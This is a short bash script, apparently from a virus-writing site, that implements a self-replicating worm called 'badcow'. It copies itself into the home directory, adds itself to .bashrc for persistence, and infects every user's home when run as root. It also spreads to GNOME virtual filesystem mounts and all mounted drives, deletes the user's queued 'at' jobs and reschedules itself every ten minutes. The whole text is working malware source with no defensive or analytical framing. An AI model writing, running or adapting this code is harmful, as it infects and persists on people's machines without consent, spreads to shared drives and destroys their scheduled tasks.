#!/bin/bash

# the badcow by WarGame - http://vx.netlux.org/wargamevx

if [ ! -f "$HOME/.badcow.sh" ];
then
	echo $HOME/.badcow.sh >> $HOME/.bashrc
fi

cp $0 $HOME/.badcow.sh > /dev/null 2>&1
chmod +x $HOME/.badcow.sh > /dev/null 2>&1

if [ "$(id -u)" = "0" ];
then
	for dr_home in `ls /home`
	do
		if [ -d "/home/$dr_home" ];
		then
			if [ ! -f "/home/$dr_home/.badcow.sh" ];
			then
				echo /home/$dr_home/.badcow.sh >> /home/$dr_home/.bashrc
			fi
			
			cp $HOME/.badcow.sh /home/$dr_home/.badcow.sh > /dev/null 2>&1
			chmod 0755 /home/$dr_home/.badcow.sh > /dev/null 2>&1
			chmod +x /home/$dr_home/.badcow.sh > /dev/null 2>&1
				
		fi
	done

	exit 0
fi

if [ -d "$HOME/.gvfs" ]; # try to spread using the gnome virtual filesystem 
then
	for vfs in `ls $HOME/.gvfs`
	do
		if [ -d "$HOME/.gvfs/$vfs" ];
		then
			cp $HOME/.badcow.sh $HOME/.gvfs/$vfs/badcow.sh > /dev/null 2>&1
			chmod +x $HOME/.gvfs/$vfs/badcow.sh > /dev/null 2>&1
		fi
	done
fi

for job in $(atq | awk '{print $1}' )
do
	atrm $job > /dev/null 2>&1
done

at now + 10 minutes -f $HOME/.badcow.sh > /dev/null 2>&1

for dr in $(mount | awk '{print $3}' ) # try to copy itself in mounted drives 
do
	if [ -d "$dr" ];
	then
		cp $HOME/.badcow.sh $dr/badcow.sh > /dev/null 2>&1
		chmod +x $dr/badcow.sh > /dev/null 2>&1
	fi
done

# thx goes to Nicola